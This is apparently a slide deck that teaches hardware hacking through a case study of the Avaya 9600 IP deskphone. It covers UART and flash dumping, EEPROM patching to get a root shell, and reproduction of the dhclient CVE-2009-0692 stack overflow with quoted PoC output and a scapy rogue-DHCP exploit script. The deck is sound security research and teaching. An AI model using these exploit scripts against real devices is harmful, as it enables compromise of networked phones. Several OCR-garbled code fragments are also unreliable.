INTRODUCTION TO HARDWARE HACKING

How you too can find a decade old bug in widely deployed devices

AVAYA 9600 DESKPHONE — A CASE STUDY
WHO AM I?

- PHILIPPE LAULHERET
- SENIOR SECURITY RESEARCHER FOR McAfee's ADVANCED THREAT RESEARCH
- @phLaul
- 2 YEARS EMBEDDED SECURITY, 4 YEARS C++ DEV
WHY SHOULD YOU CARE ABOUT HARDWARE HACKING?
AVAYA
9600 SERIES IP DESKPHONE

• 2ND LARGEST VOIP SOLUTION PROVIDER
• 90% OF FORTUNE 100
• 9600 SERIES STARTED IN 2006, SOON EOL
PRIOR ART

- **Lots of documentation about hardware hacking** (see last slide for links)
  - Introduction to ARM
  - Hardware hacking blogs (routers, IOT, ...)
  - Accessible introduction to electronics (Adafruit, Sparkfun)
  - Embedded Capture The Flag
  - Hardware Hacking Village
  - ...

- **Red Balloon Security** found 2 RCE in the same series of Phone
  - "Stepping P3wns", RSA 2014
THE NEXT 40 MINUTES

• Use the phone as a Springboard to talk about Hardware Hacking
• Share the How, Why, What if, Failed attempts, etc.
• If I can do it, so can you!
HOW DID THIS PROJECT START?
FIRST STEP: RECON

• If it has Radio (WIFI, Bluetooth,...) it will be on the FCC website
Source: https://fccid.io/TYM-9641GS (not our phone model, but part of the same 96xx series)
FIRST STEP: RECON

- If it has Radio (WIFI, Bluetooth,…) it will be on the FCC website
- Find Online manuals, Marketing material, etc.
9.1.2 Open a Serial Connection:

1. For serial port connection it is required to obtain the Avaya Service Adapter, P/N 700504366. This adaptor includes a serial cable that connects the phone’s Button Module port to a PC’s USB port, which allows a serial console access to the phone.
FIRST STEP: RECON

• **If it has Radio** (WIFI, Bluetooth,…) it will be on the FCC website

• **Find Online manuals, Marketing material, etc.**

• **Find Forum of users** (sysadmin, …)

• **Look online for firmware downloads**
WHAT DO WE DO NOW?
LET’S VOID WARRANTIES!
IDENTIFYING THE MAIN COMPONENTS

• **Usually we can find**
  - CPU *(maybe more than one)* or System On Chip *(SoC)*
  - RAM
  - On board storage *(Flash chip, eeprom, SD card, …)*
  - WIFI/Bluetooth module *(Maybe under a metallic shield)*
  - …

• **Components have labels printed on them**
  - Google the label to find more information
  - Datasheet tell you how to use the component
  - Sometimes datasheets are not publicly available 😞
RAM
CPU
EEPROM
UART
Keyed RJ45
TEST POINTS AND DEBUG HEADERS

• **Why would you expect them?**
  • Use same PCB as the Development ones
  • Manufacturing process (flash, Verification)
  • Post Mortem

• **What to look for?**
  • UART (conveniently labeled here 😊)
  • JTAG
  • Test Points
  • Debug Headers
TEST POINTS AND DEBUG HEADERS

- UART
  - 4 (sometimes 3) pins (RX, TX, 3.3/5V, GND)
  - Used for serial communication
  - Usually the test points are aligned; not always
  - VCC (3.3V, 5V, …) is optional (aka usually better not to connect it)
  - Need to know/find connection speed (the baud rate)
    - If you see something, like random bytes, just try different baud rate
    - Only so many common ones
    - "Auto-baud" feature
TEST POINTS AND DEBUG HEADERS

- JTAG
  - Used for debugging hardware
  - Lots of different pinouts, but only a few pins needed
  - Standard connectors, but not always there
  - May have to solder resistor on unpopulated headers
  - Can be used to dump memory (sometimes)

http://www.keil.com/support/man/docs/ulink2/ulink2_hw_connectors.htm
THE HARDWARE HACKING TOOLSET
THE HARDWARE HACKING TOOLSET

- **Multimeter**
  - **Find voltage of unknown chip (3.3V, 5V)**
  - **Use continuity testing to find where test points are connected to**
  - **And verify proper connection**
THE HARDWARE HACKING TOOLSET

- **Logic Analyzer**
  - Digital electronic is 1 and 0
  - (in the form of 3.3V and 0V or 5V and 0V, or ...)
  - Can decode protocols and provide an higher level of abstraction (UART to “data”, ...)
THE HARDWARE HACKING TOOLSET

• **Serial Console Cable** ("FTDI Cable")
  - Connects to uart
  - Usually handle either 3.3V or 5V
    - Not both!
    - The Spark Fun one can be converted one to another by cutting a trace
  - Can power devices sometimes
    - (Hence the Vcc pin from before)
THE HARDWARE HACKING TOOLSET

- **BusPirate**
  - Talks lots of protocols
    - UART
    - SPI
    - I2C
    - ...
  - Can use Python to control it
  - Extremely versatile
    - Dump flash
    - Modify EEPROM
    - Program AVR
    - ...

- **Can use Python to control it**
- **Extremely versatile**
  - Dump flash
  - Modify EEPROM
  - Program AVR
  - ...
THE HARDWARE HACKING TOOLSET

- **JTAG Debugger**
  - From super cheap to extremely expensive
    - Flyswatter with openOCD is cheap
    - JLink and its GDB stub is OK
    - Lauterbach and Trace32 is pro but $$$

- **Jtagulator**
  - Awesome tool to find Jtag
THE HARDWARE HACKING TOOLSET

• **Flash Reader**
- Lots of useful things stored on external memory
- In Circuit Programming vs Desolder
- SPI vs Parallel (NAND flash)
- ...more about it in a Sec
THE HARDWARE HACKING TOOLSET

• Fault injection and Side channel
  • More advanced and usually expensive
  • Last resort solution
  • Useful for hardened targets
    • Gaming consoles
    • Secure boot and chain of trust
WHAT DO WE DO NOW?
UART? FLASH? FIRMWARE?
Eeprom Read Success: Console set to /dev/null

Skipping download mode

boot2 : EEPROM Model Num str=9611
Boot2 : Got Machine with mach_id.str= BCMRING_AV9611h1gMdTM
ModelStrPtr = 0x39 0x36 0x31 0x31. LcdType=0x54 0x4d. HwVer=0x31
LCD 9611...
Boot2: LCD Clock Freq is set to 0x35a4e9
TM...
LCD Initializations for 9611 phone LCD Driver IC Done. Chk if Err's
LCD 9611 setting BkLight Pin3 High.
Local Power Absent
IEEE PoE Low

Booting Linux...
Kernel magic OK
kernelPartition 0x04
kstart 0x0d000000
kend 0x0d14d390
kcopysize 0x0014d390
kernelStart 0x0d000000
Copying kernel to SDRAM ..........
completed
Branch to kernel at 0x0d000000
memstart 0x00200000
memrsvd 0x00200000
memsize 0x07d00000

AVAYA. Holding LCD Reset Low until 3 EEPROM reads over.

#console# [.................................]
INSPECTING THE UART

• From the two UART ports, only UART0 is interesting
• But we face a couple of challenges
  • Nothing shows up after Linux is booted
  • Probably linked to the /dev/null console
  • We should be able to interrupt the boot process, but key press is not working?
    • We’ll address that in ~10 minutes
WHAT DO WE DO NOW?
RECOVER THE Firmware!
RECOVERING THE FIRMWARE

• To recover a device firmware, the usual tricks:
  • Find it online (Can be encrypted…)
  • Sniff a firmware update (Using port mirroring, network tap, …)
    • HTTPS gets more and more in the way for that
  • Dump the Flash
    • Flashrom recognizes dozens of flash chips
    • Other dedicated tools
  • More advanced tricks
HOW TO DUMP A FLASH?

• **In Circuit Programming**
  • Using clips, pogo pins, direct solder
  • Comes with potential trouble
    • You need to power the chip, which is connected to the rest of the device
    • Flash reader may lack the Amps for that, or CPU boots and mess with reader
    • Find ways to keep the system in reset (CPU’s reset pin, ground mysterious testpoints, …)

• **Desolder the Chip**
  • Might be hard to put it back
  • Use Kapton tape or Foil to shield components around
  • Flux might help
  • Careful not to bend pins
HOW TO DUMP A FLASH?

• Politely ask U-boot
  • Most common bootloader (but not the one used here 😃)
  • Need a Serial Console
  • Has an option to load flash in memory and display hex dump 👍
  • Access to u-boot might be disabled

• Glitch u-boot (Yolo approach)
  • Short nand when u-boot loads the os
  • Makes it Panic and give you a prompt 😈
Rooted Wink hub glitching NAND causing uboot to fail and let me setenv. added init=/bin/sh: pastebin.com/ISSnmvR4

```bash
$ printenv
app_boot=run appboot_args && nand read $(loadaddr) app-kernel 0x00400000 & bootm $(loadaddr)
app_boot_bad=run updater_args; setenv bootargs $(bootargs) badapp; nand read $(loadaddr) updater-kernel 0x00300000; bootm $(loadaddr)
appboot_args=setenv bootargs 'noinitrd console=ttyAMA0,115200 rootfstype=ubifs ubi.mtd=5 root=ubi0:rootfs rw gpm'; baudrate=115200
bd_addr=0021C083B3C
boot_app=run app_boot || run app_boot_bad
boot_getflag=mtdparts default & ubi part database & ubifs mount ubi0:database & mw 42000000 0 8 & ubifsload 42000000 DO_UPDATE 1 & run boot_logic boot_logic=mw 42000004 30; if cmp 42000004 42000004 1; then run boot_app; else run boot_updater; fi;
boot_updater=run updater_boot || run updater_boot_bad
bootargs=noinitrd console=ttyAMA0,115200 rootfstype=ubifs ubi.mtd=5 root=ubi0:rootfs rw gpm badupdater
bootcmd=mtdparts default; run boot_getflag || echo Falling back to updater...; run boot_updater
```
HOW TO DUMP A FLASH?

• **Use JTAG**
  - Sometimes internal/external memory can be read via JTAG/SWD
  - Dump RAM (which may have the whole flash loaded in memory)
  - Anti-readback can be bypassed if you can control execution

• **Glitch the Device**
  - Use the ChipWhisperer to cause a fault during a print and leak extra data
  - Or maybe to bypass security bits
  - “Glitchy Descriptor Firmware Grab” (Scanlime) [https://www.youtube.com/watch?v=TeCQATvNC20]
WE HAVE THE FIRMWARE...
LET'S ANALYZE IT!
ANALYZING THE FIRMWARE FILE

• BINWALK
  • Act like a big dictionary of known file format
  • Can measure entropy (How random data is) to find compressed/encrypted sections

• Compressed filesystem
  • Squashfs
  • JFFS
  • ...

• Elf Header / ARM Code
  • Could be a bootloader
Firmware already separated

Binwalk extracts the files
False positive

Firmware for a different model

U-Boot strings ©
ANALYZING THE FIRMWARE FILE

- **What to look for?**
  - Firmware update mechanism *(likely to contain key if FW Update is encrypted)*
  - `/etc/passwd, init script, certificates`
  - “Main binary”

- **The bootloader is also interesting**
  - Tells Linux how to boot
  - May have hidden commands, debug flags, etc.
WHAT NOW?
WE WANT A SHELL ON THE DEVICE!
GETTING A SHELL

• How to get a shell 🌊
  • Fix the serial console (remember the UART log)
    • Need to look at what the bootloader is doing
  • Mess with boot arguments (the U-Boot trick)
  • Patch the firmware / filesystem
    • Patching the firmware won’t work here because it is signed
    • Patching the NAND flash
      • Totally doable but a bit of a hassle
      • The same way we can dump the flash, we can write the flash back
      • Use JFFS tool to recreate a modified image and flash it back
REVERSING THE BOOTLOADER

• **ARM Assembly 101** (generalized statement, true most of the time):
  
  • Thumb is 2 bytes, Arm is 4 bytes
  
  • Jumping (BX, BLX) to odd (+1) addresses means Thumb, else Arm
  
  • If IDA is wrong (happens often), Alt+G and change “T” register to 0 or 1 (Arm or Thumb)
  
  • LR (Link Register) Stores return address (For BL, BLX instructions)
  
  • ARM uses literal pool (data among code to be directly loaded into registers)
    
    • Addresses, magic values, offsets, ...

  • For function calls: Arguments go in R0-R3, return value in R0
  
  • Data Cache vs Instruction Cache

• **Check Azeria Labs Tutorials**
REVERSING THE BOOTLOADER

• **The load address situation…**
  • When loading a binary blob into IDA, IDA wants a loading address
  • Sometimes the address is printed on screen while the device boots
  • Or data can hint to the address
    • Header for custom file format
    • Reset vectors
  • Or you have to guess using the absolute addresses to strings/functions from literal pool

• Go check out Quarkslab blog about it
Boot2: Avaya Calling LED common Init ... Enabling Bus Interface Clock...

 Broadcom Linux NAND boot2.3579  
 NAND: (DMA) ID: 0x01 0xda  
 CFG_GLOBAL_FLASH_SIZE MB: 256
  Strap Extra Addr Cycle: 1  
  Strap  Page Size Bits: 11 (2K)  
  Strap  Block Size Bits: 17 (128K)

AVAYA. Holding LCD Reset Low untill 3 EEG 

#console# [ .................................  
FLASH (MB): 0x00000100  
ROM: 0x00000000  
LOCATION: 0x08000000  
PT @ 0x00000000 is valid...
  (C)  
  (D)  
magic 0x0000bab0  
size 0x0000f6f4  
Jump 0x00004010  
Arm Clock is:0x11e1a300

Start of code in Bootimg 2

First 0x10 bytes of bootimg2
REVERSING THE BOOTLOADER

• **SEARCHING FOR STRINGS**
  • The console log mentions EEPROM and /dev/null
  • We can look for these strings in the bootloader binary
  • Then look for cross-references (XREF)
INFO ABOUT THE SPI EEPROM

• EEPROM AND SPI 101
  • Electrically Erasable Programmable read-only memory
    • So, not quite read-only….
    • Usually fairly small and slow
    • One kind of storage among many
  • Serial Peripheral interface
    • Bus that can be shared by multiple devices
    • 4 wires, 3 shared (MISO, MOSI, CLOCK) + 1 Chip Select per SPI slave
    • Master sends command, then slave sends reply
8-Kbit serial SPI bus EEPROM with high-speed clock

**Features**

- Compatible with the Serial Peripheral Interface (SPI) bus
- Memory array
  - 8 Kb (1 Kbyte) of EEPROM
  - Page size: 32 bytes
  - Additional Write lockable Page
    (Identification page)
- Write
  - Byte Write within 5 ms
  - Page Write within 5 ms
- Write Protect: quarter, half or whole memory array
- High-speed clock: 20 MHz
- Single supply voltage:
  - 2.5 V to 5.5 V for M95080-W
  - 1.8 V to 5.5 V for M95080-R
  - 1.7 V to 5.5 V for M95080-DF
- Operating temperature range: from -40°C up to +85°C
- Enhanced ESD protection
- More than 4 million Write cycles

**Instructions**

Each command is composed of bytes (MSBit transmitted first), initiated with the instruction byte, as summarized in Table 3.

If an invalid instruction is sent (one not contained in Table 3), the device automatically enters a Wait state until deselected.

<table>
<thead>
<tr>
<th>Instruction</th>
<th>Description</th>
<th>Instruction format</th>
</tr>
</thead>
<tbody>
<tr>
<td>WREN</td>
<td>Write Enable</td>
<td>0000 0110</td>
</tr>
<tr>
<td>WRDI</td>
<td>Write Disable</td>
<td>0000 0100</td>
</tr>
<tr>
<td>RDSR</td>
<td>Read Status Register</td>
<td>0000 0101</td>
</tr>
<tr>
<td>WRSR</td>
<td>Write Status Register</td>
<td>0000 0001</td>
</tr>
<tr>
<td>READ</td>
<td>Read from Memory Array</td>
<td>0000 0011</td>
</tr>
<tr>
<td>WRITE</td>
<td>Write to Memory Array</td>
<td>0000 0010</td>
</tr>
<tr>
<td>RDID(^{(1)})</td>
<td>Read Identification Page</td>
<td>1000 0011</td>
</tr>
<tr>
<td>WRID(^{(1)})</td>
<td>Write Identification Page</td>
<td>1000 0010</td>
</tr>
<tr>
<td>RDLS(^{(1)})</td>
<td>Reads the Identification Page lock status</td>
<td>1000 0011</td>
</tr>
<tr>
<td>LID(^{(1)})</td>
<td>Locks the Identification page in read-only mode</td>
<td>1000 0010</td>
</tr>
</tbody>
</table>

1. Instruction available only for the M95080-D device.

**Figure 2.** 8-pin package connections (top view)

```cpp
// opcodes
#define WREN 6
#define WRDI 4
#define RDSR 5
#define WRSR 1
#define READ 3
#define WRITE 2
```

DCB "EEPROM write error while setting ID_R4 to default value of 1 for"
DCB " serial port enable. ret_val=",0

DCB "Eeprom Read Success: Console set to /dev/ttyAMA0",0xA,0

DCB "Eeprom Read Success: Console set to /dev/ttyAMA1",0xA,0

DCB "Eeprom Read Success: Console set to /dev/null",0xA,0

DCB "Warning: Eeprom value is not Set :: Console set to Default value"
DCB "/dev/null",0xA,0

DCB "B189",0

DCB "B189",0
R4 = var_4B
memset(var_4B, 0, 6)
Read 5 bytes from 0x2B0 to [sp-0x4B:sp-0x47]

LDRB R3, [SP,#0x1C8+var_4B]
CMP R3, #0x55 ; 'U'
BNE loc_57E8

LDRB R3, [SP,#0x1C8+var_47]
CMP R3, #0x30 ; '0'
MOVEQ R3, #0
LDRREQ R0, =aEepromReadSucc ; "\nEeprom Read Success: Console set to /...
BEQ loc_57F8

aEepromReadSucc DCB 0xA
; DATA XREF: sub_4D5C+A70↑
; sub_4D5C:off_5DCC↑
DCB "Eeprom Read Success: Console set to /dev/ttyAMA0",0xA,0
HOW DID WE FIND THE READ_FROM_EEPROM FUNCTION?

- Logging tells us it’s an EEPROM read.
- Function sends a “3” command over SPI.
- EEPROM’s datasheet says it’s a Read command.
- SPI command uses dedicated mapped IO.
- Can be in CPU’s datasheet.
- Or needs to be guessed…
PATCHING THE EEPROM

- **Plan of action**
  - According to the datasheet, we know the commands to read/write
  - We need to have a SPI device to interface with it
    - Arduino and Raspberry Pi are good candidates (but they use 5V SPI, phone is 3.3V)
    - Buspirate can do 3.3V
  - We need to connect to the chip
    - Super tiny SO, SOIC clip and hooks won’t do
    - Can order hand-made Pogo connector for $70 and 3 weeks lead time
    - Micro soldering is another option
from pyBusPirateLite.SPI import SPI
import time

WREN = 6
WRDI = 4
RDSR = 5
WRSR = 1
READ = 3
WRITE = 2

spi = SPI("COM7", 115200)
spi.pins = SPI.PIN_POWER | SPI.PIN_CS
spi.config = SPI.CFG_PUSH_PULL | SPI.CFG_IDLE
spi.speed = '1MHz'

time.sleep(2)
write_eeprom(spi, 0x00)
write_eeprom(spi, 0x00)

# send two bytes and receive answer
for i in range(0, 10):
    data = read_eeprom(spi, 0x01)
    print("Data: {}".format(data))
spi.pins = 0
#time.sleep(10)

def read_eeprom(spi, EEPROM_address):
    spi.cs = True
    data = spi.transfer([READ, EEPROM_address >> 8, EEPROM_address & 0xFF, 0])
    spi.cs = False
    return data[-1]

def write_eeprom(spi, EEPROM_address, val):
    spi.cs = True
    data = spi.transfer([WREN])
    spi.cs = False
time.sleep(0.1)
    spi.cs = True
    data = spi.transfer([WRITE, EEPROM_address >> 8, EEPROM_address & 0xFF, val])
    spi.cs = False
time.sleep(0.1)
Eeprom Read Success: Console set to /dev/ttyAMA0
WHY AREN’T THE INPUTS WORKING? 😞

• I WAS HOPING THAT ENABLING THE CONSOLE WOULD FIX THE ISSUE
• THE RX PIN MIGHT BE SOLDERED TIED TO VCC/GND VIA RESISTOR
  • EVERYTHING POINTS TOWARDS A WORKING CONSOLE, SO WHY?
• INSTEAD OF GUESSING LET’S LOOK AT THE BOARD!
WHY AREN’T THE INPUTS WORKING? 😞

• We can try to follow the traces from the pads
  • See where they’re connected to
  • Maybe find something suspicious

• Vias connect the front of the board to the back
• Eventually I loose the traces around the MOD connector
• ………. Remember the Recon phase 😐
WHY AREN’T THE INPUTS WORKING? 😞

- **We can try to follow the traces from the pads**
  - See where they’re connected to
  - Maybe find something suspicious
- Vias connect the front of the board to the back
- **Eventually I loose the traces around the MOD connector**
- ........ Remember the Recon phase?
  - **Holding a jumper cable connected to the TX of the FTDI Cable**
  - Pressing enter while poking at the pins
  - Looking at the result in the serial console
  - **Second pin worked! The cursor move when I press enter!**
• Sanded Ethernet plug to make it fit in the MOD port
• Use RJ45 to DB9 (“CISCO console cable”)
• Jumper cable connects DB9 pins to FTDI cable
ROOT SHELL AND HOUSE KEEPING

• **We have a root Shell! What’s next?**
  • **Poke around the live system**
  • **Get pre-compiled binaries on the phone (GDB, DOOM, you name it...)**
  • **The original goal was to audit the main H.323 application**

• **The console is flooded with debug messages**
  • **If we kill processes, the Watchdog kicks in and reboots the phone**
  • **Magic commands:**
    • **Kill the Watchdog daemon**
    • **Tell Linux to stop caring about Watchdog**
    • **Kills the verbose processes**
      • PIDs are sometimes a little off
      • Depends on what you want to do

```
killall watchdogd
echo V > /dev/watchdog;
kill -9 338
kill 514
```
IT’S VULN RESEARCH TIME!
POKING AROUND

• IT’S NATURAL ONCE WE HAVE ROOT SHELL TO:
  • HAVE A LOOK AT THE RUNNING PROCESSES
  • HAVE A LOOK AT THE OPEN PORTS (AND WHO IS OPENED THEM)
  • HAVE FUN AND EXPLORE 😊
POKING AT DHCLIENT

- **DHCLIENT IS INTERESTING TO LOOK AT:**
  - It is already running
  - It is a networked process
  - It’s a change from udhcpc
- **GIVES US REALLY SURPRISING RESULTS**
  - A 2007 copyright!
  - Segfault ?!
  - Funky error message
Stack-based buffer overflow in the script_write_params method in client/dhclient.c in ISC DHCP dhclient 4.1 before 4.1.0p1, 4.0 before 4.0.1p1, 3.1 before 3.1.2p1, 3.0, and 2.0 allows remote DHCP servers to execute arbitrary code via a crafted subnet-mask option.

$ gcc cve-2009-0692.c -o cve-2009-0692 -lpcap -ldnet
$ sudo ./cve-2009-0692
* [+] listening on eth0: ip and udp and src port 68 and dst port 67
* [+] snarfed DHCP request from 00:19:d1:00:e5:4a with xid 0x120f8920
* [+] sending malicious DHCP response to 00:19:d1:00:e5:4a with xid 0x120f8920

$ gdb /sbin/dhclient
...
DHCPREQUEST on eth0 to 255.255.255.255 port 67
DHCPACK from 0.6.9.2
...
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

Notes:
* Only tested with dhclient 3.1.2 on 32-bit Gentoo / GCC 4.3.3. Feel free to tweak for your target platform. Depends on libndnet and libpcap.
* READABLE 1 and READABLE 2 need to be readable addresses as we fix up the stack during our overflow. After a successful return from the vulnerable...
VERIFYING THIS VERSION IS STILL VULNERABLE

• **We’re going to compare the original source code with the fixed one**
• **We have a working exploit for x86 that hints how to exploit the bug**
  • It’s a basic stack overflow…
• **We need to check if modern mitigations are in place on the phone**
  • Stack cookie
  • ASLR
• **Set up a debug environment**
  • Live on the phone (hard because of dhclient integration with h.323 stack)
  • Or emulation (more time consuming to setup, but more flexible)
void script_write_params (client, prefix, lease)
{
    struct client_state *client;
    const char *prefix;
    struct client_lease *lease;

    int i;
    struct data_string data;
    struct option_cache *oc;
    struct envadd_state es;

    es.client = client;
    es.prefix = prefix;

    client_envadd (client,
        prefix, "ip_address", "%s", piaddr (lease -> address));

    // .... Removed comment .... //
    memset (&data, 0, sizeof data);
    oc = lookup_option (&dhcp_universe, lease -> options, DHO_SUBNET_MASK);
    if (oc & evaluate_option_cache (&data, (struct packet *)0,
         (struct lease *)0, client,
         (struct option_state *)0,
         lease -> options,
         &global_scope, oc, MDL)) {
        if (data.len > 3) {
            struct iaddr netmask, subnet, broadcast;

            memcpy (netmask.iabuf, data.data, data.len);
            netmask.len = data.len;
            data_stringForget (&data, MDL);

            subnet = subnet_number (lease -> address, netmask);
            if (subnet.len) {
                client_envadd (client, prefix, "network_number",
                    "%s", piaddr (subnet));
            }

            //patch
            if (data.len > 4) {
                struct iaddr netmask, subnet, broadcast;

                memcpy (netmask.iabuf, data.data, 4);
                netmask.len = 4;
                data_stringForget (&data, MDL);

                subnet = subnet_number (lease -> address, netmask);
                if (subnet.len) {
                    client_envadd (client, prefix, "network_number",
                        "%s", piaddr (subnet));
                }
            }
        }
    }
}
Found function with strings it uses

No stack canary 😁
EXPLOITATION TIME!
GETTING THE BEST ENVIRONMENT

• Manually running dhclient on the phone makes it segfault
  • Maybe something on the phone is interfering
  • Or it is due to Avaya’s modifications (remember the curious error message)
• We should be able to run it in QEMU
SETTING UP QEMU

- **QEMU can emulate ARM** either for userland or as a full-system
  - **Userland won’t do here because connectivity complexity**
    - **DHCLIENT wants to change IP addresses**
    - **Some weird pipe details we will cover in a second**
  - **We can build a custom Linux kernel with BusyBox and add the libraries we need for DHCLIENT**
    - [HTTPS://LEARNINGFROMYOUBLOG.WORDPRESS.COM/2016/04/05/131/](HTTPS://LEARNINGFROMYOUBLOG.WORDPRESS.COM/2016/04/05/131/)
    - **We want to build a vexpress-a9 image**
RUNNING QEMU

- **WE HAVE TO RUN QEMU WITH PROPER NETWORK**
  - DEFAULT CONFIGURATION WILL PROVIDE A DHCP SERVER, WHICH WE DON’T WANT
  - **WE NEED TO BE INTENTIONAL WITH OUR NETWORK STACK**

```bash
pl@pl-VirtualBox:~$ cat go.sh
#!/bin/sh

TOP=/home/pl/reavaya/files/emulation/vm/teeny-linux
qemu-system-arm -M vexpress-99
  -kernel $TOP/obj/linux-arm-versatile_defconfig/arch/arm/boot/zImage
  -initrd $TOP/obj/initramfs.1.gz -nographic -append "earlyprint=serial,ttys0 console=ttyAMA0"
  -netdev tap,td=network0,lname=tap0,script=no,downscript=no
  -net nic,netdev=network0
  -netdev user,td=network1,hostfwd=tcp:127.0.0.1:5555-192.168.200.200:22 -net nic,netdev=network1
```

- **HOW TO EXIT QEMU 😊**
  - CTRL+A, THEN X
DEBUGGING DHCLIENT

• **To run dhclient from inside QEMU**
  - `dhclient -sf /sbin/dhclient-script -V ccp.avaya.com -H AVX2504A4 eth0`
  - Still segfault 😞

• **Looking at where the segfault happens, we find hints of Avaya’s modifications**
  - dhclient got tweaked to interact with Avaya’s H.323 stack
  - More command line options
  - “weird socket”
**DHCLIENT TWEAKS**

- **Opens a named socket (AF_UNIX)**
- “SPARK_DHCP_SERVER”
- **Reads from it to get configuration values**
- Easier to have a look at the binary that listens on the socket and sends the configuration values
- **We need to have a look at the h.323 binary for that**
- **Absence of the socket will make dhclient crash**
INITIALIZING THE DHCP INTERFACE

- Code from the h.323 stack
  - "dhcpInterfaceInit" function
- Create a new named listening socket
  - "spark_dhcpServer"
- Separate thread will read/write to it
  - The xref to the socket handle points us to the DHCP thread function

Store the socket handle

Name the socket
Prepare the buffer to send

Send 0x14 bytes

```python
import socket
import struct

option_payload = struct.pack("<IIII", 0x1000, 0x2b, 0x716, 0xf2, 0x2b+0 xd4)

serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
serversocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
serversocket.bind(("192.168.100.50", 1234))
serversocket.listen(5)

while True:
    (clientsocket, address) = serversocket.accept()
    clientsocket.send(option_payload)
    pkt = clientsocket.recv(1024)
    print pkt.encode("hex")
    clientsocket.send(\"\x00\x00\x00\x00\") # idk, trigger discover....

while True:
    pkt = clientsocket.recv(1024)
    print pkt.encode("hex")
    clientsocket.send(\"\x00\x00\x00\x00\") # idk, trigger discover....

clientsocket.close()

serversocket.close()

# Run in qemu
# ip addr add 192.168.100.224/24 broadcast 192.168.100.255 dev eth0
# ifconfig eth0 up
# socat unix-listen:spark_dhcpServer tcp-connect:192.168.100.50:1234 &
```

```assembly
loc/DDF64
LOD R1, #0x2F ; '/' ; c
RSBS R4, R8, #1
MVC R4, #0
LDR R0, =/localdisk/home/bamboagent/agent1/xml..."
BL strlen
LDR R12, [R1, #var_26]
LDR R1, [R5]
LDR R2, #0x16
LDR R3, =DHcphthread ; "DHcphThread"
STMFA SP, {R1, R12}
STR R4, [SP, #0x1f44.timeout]
ADD R1, R8, #1
LDR R0, =/SDSdNhcspstdDNS ; "%s:%d - %s() - nDhcepStd = %d, nSiteSpec"
BL printf

LDR R1, [R5]
MOV R3, #0x2B ; '.'
MOV R2, #0x70
STR R3, [R11, #var_64]
ADD R3, R3, #0xd4
STR R2, [R11, #var_60]
STR R3, [R11, #var_58]
STR R2, [R11, #var_5c]
STR R4, [R11, #buf]
MOV R1, #0x2F ; '/' ; c
LDR R0, =/localdisk/home/bamboagent/agent1/xml..."
BL strlen
MOV R2, #0x730
LDR R3, =DHcphthread ; "DHcphThread"
ADD R1, R8, #1
LDR R0, =/SDSStartDhcpNe ; "%s:%d - %s() - START DHCP NEGOTIATION P..."
BL printf

LDR R0, [R8, #0x8fbac40 - 0xfb8ac4] ; fd
SUB R1, R11, #buf ; buf
MOV R2, #0x14 ; n
MOV R3, R10 ; flags
BL send

CMT R0, #1
BEQ loc_DE7B0
```

DEBUGGING DHCLIENT (FOR REAL THIS TIME)

• **Run the Python script on host, socat in QEMU**
  - socat is a fancy version of netcat, handles AF_UNIX sockets

• **Dhclient can be run in gdb as well:**
  - gdb /bin/dhclient -ex "b "0x14DD8" -ex "r -sf /sbin/dhclient-script -V ccp.avaya.com -H AVX2504A4 eth0" -ex "b "0x00020AA4"
  - The breakpoints (–EX “B *0x…”) are here to break when dhclient mess with our ip address
  - When we break, we re-configure the ip address to a static one so that socat doesn’t get confused

• **Finally, we can send rogue dhcp packets and see the result**
  - Couldn’t get the original POC to compile 😄
  - Used a scapy-based one instead (from a different dhclient exploit)
REACHING THE VULNERABLE CODE PATH

• The bug happens when sending an invalid-sized subnet-mask option
  • DHCP options are TLV (Type, Length, Value)
  • The subnet-mask option Type is "1"
  • The length should be 4 (it’s a 4 bytes mask) but we can send 255 bytes
• We can use scapy to craft a DHCP reply with the invalid data
  • Best to have a payload with an easy to find byte-pattern
```python
def detect_dhcp(pkt):
    if DHCP in pkt:
        # if DHCP Discover then DHCP Offer
        if pkt[DHCP].options[8][1]==1:
            clientMAC = pkt[Ether].src
            print "DHCP Discover packet detected from " + clientMAC

            p=( Ether(src=spoofed_mac,dst="ff:ff:ff:ff:ff:ff")/
                IP(src=server_ip,dst="255.255.255.255")/
                UDP(sport=67,dport=68)/
                BOOTP(op=2,
                yiaddr=victim_assign_ip,
                siaddr=server_ip,
                giaddr=gateway_ip,
                chaddr=toMAC(clientMAC),
                xid=pkt[BOOTP].xid,
                sname=server_ip)/
                DHCP(options=[('message-type','offer')])/)

        dhcp_option = "\x35\x01\x05\x36\x04" + str_long + "\x33\x04\x00\x01\x00\x00\x10\x03\x04"
        dhcp_option += str_long + "\x06\x04" + str_long + "\x0f\x0a" + "\x00" + "\x81" + "\x0f" + "\xFF"
        for i in xrange(0,0x80/4):
            payload += chr((i+1)*4) # Create a pattern for when we Segfault
        dhcp_option += "\x81" + chr(len(payload)) + payload + "\xFF"

def toMAC(strMac):
    cmList = strMac.split(':')
    hCMList = []
    for item in cmList:
        hCMList.append(int(item, 16))
    HMAC = struct.pack(\x18', hCMList[0]) + struct.pack(\x18', hCMList[1])
    HMAC += struct.pack(\x18', hCMList[2]) + struct.pack(\x18', hCMList[3])
    HMAC += struct.pack(\x18', hCMList[4]) + struct.pack(\x18', hCMList[5])
    return HMAC
```

```python
print "AAAAAHHHH"
sendp(p, iface=iface_name)
    print "DHCP Offer packet sent"
```
if pkt[DHCP] and pkt[DHCP].options[0][1] == 3:
    clientMAC = pkt[ Ether ].src
    print "DHCP Request packet detected from " + clientMAC

    p=(
        Ether(src=spoofed_mac,dst="ff:ff:ff:ff:ff")/
        IP(src=server_ip,dst="255.255.255.255")/
        UDP(sport=67,dport=68)/
        BOOTP(
            op=2,
            yiaddr=victim_assign_ip,
            siaddr=server_ip,
            giaddr=gateway_ip,
            chaddr=toMAC(clientMAC),
            xid=pkt[BOOTP].xid
        )/
        DHCP(options= dhcp_option)
    )

    p.show()
    sendp(p)
    print "DHCP Ack packet sent"

def main():
    #sniff DHCP requests
    print "Starting scapy..."
    sniff(filter="udp and (port 67 or 68)", prn=detect_dhcp, iface=iface_name)
# if DHCP Request than DHCP ACK
if pkt[DHCP] and pkt[DHCP].options[0][1] == 3:
    clientMAC = pkt[Ether].src
    print "DHCP Request packet detected from " + clientMAC

    p =
        Ether(src=spoofed_mac, dst="ff:ff:ff:ff:ff")/
        IP(src=server_ip, dst="255.255.255.255")/
        UDP(sport=67, dport=68)/
        BOOTP(
            op=2,
            yiaddr=victim_assign_ip,
            siaddr=server_ip,
